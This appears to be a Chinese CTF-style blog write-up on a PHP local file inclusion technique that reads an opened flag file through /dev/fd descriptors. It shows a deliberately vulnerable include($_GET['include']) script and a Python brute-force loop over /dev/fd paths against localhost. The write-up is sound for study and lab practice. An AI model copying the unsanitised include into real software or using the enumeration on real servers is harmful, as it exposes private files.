0x00 原理

  文件描述符是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行I/O操作的系统调用都通过文件描述符。

  • 翻译成人话- 可以认为是指向文件的一个指针,如果有文件被打开,就生成一个指针指向打开文件的位置。
  • 文件描述符一般在linux的 /dev/fd/目录下

0x01 代码审计

<?php
  $fp = fopen("flag.txt", "r");
  echo $fp;
  if($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['include']) && strlen($_GET['include']) <= 10) {
    include($_GET['include']);
  }
  fclose($fp);
  echo highlight_file(__FILE__, true);
?>

访问页面

文件包含之包含了Linux文件描述符-LMLPHP

  之前犯了一个小错误,我以为只要打开文件然后查看/dev/fd目录就能看到新生成的指针, 实在有点天真, 手速怎么可能比电脑快呢?然后就是开始乱查,是不是自己linux权限问题还是php有问题,或者是不能包含文件描述符?最后问了问大佬,马上就知道错在哪了,认识大佬真好。

大佬建议写个脚本进行观察

<?php
	var_dump(scandir("/dev/fd/"));
	$fp=fopen("flag.txt","r");
	echo '<br/>';

	var_dump(scandir("/dev/fd/"));
	echo '<br/>';
	fclose($fp);
	var_dump(scandir("/dev/fd/"));
	echo '<br/>';
?>

这里我打开的是flag.txt,观察生成的文件描述符名字是什么
文件包含之包含了Linux文件描述符-LMLPHP
可以看到 当fopen函数打开了 flag.txt时,扫描的fd目录下突然多出了13,然而13是因为存在12才出现的。可能是文件描述符源码中数组下标的问题。第12个指针才是真正保存文件位置的指针。

文件包含之包含了Linux文件描述符-LMLPHP

如果是黑盒渗透的情况下,我们需要写脚本进行爆破。

import requests
url='http://localhost/fa.php'
for i in range(0,100):
    payload=f'?include=/dev/fd/{i}'
    #print(url+payload)
    r=requests.get(url+payload)
    if "flag={" in r.text:
        print(r.text)
        print(payload)

  通过枚举法爆破每个目录下的文件名,因为文件描述符的文件名是根据打开文件的个数生成的,比如0代表打开第一个文件,1代表打开第二个文件。
文件包含之包含了Linux文件描述符-LMLPHP
可以得到flag

05-28 08:57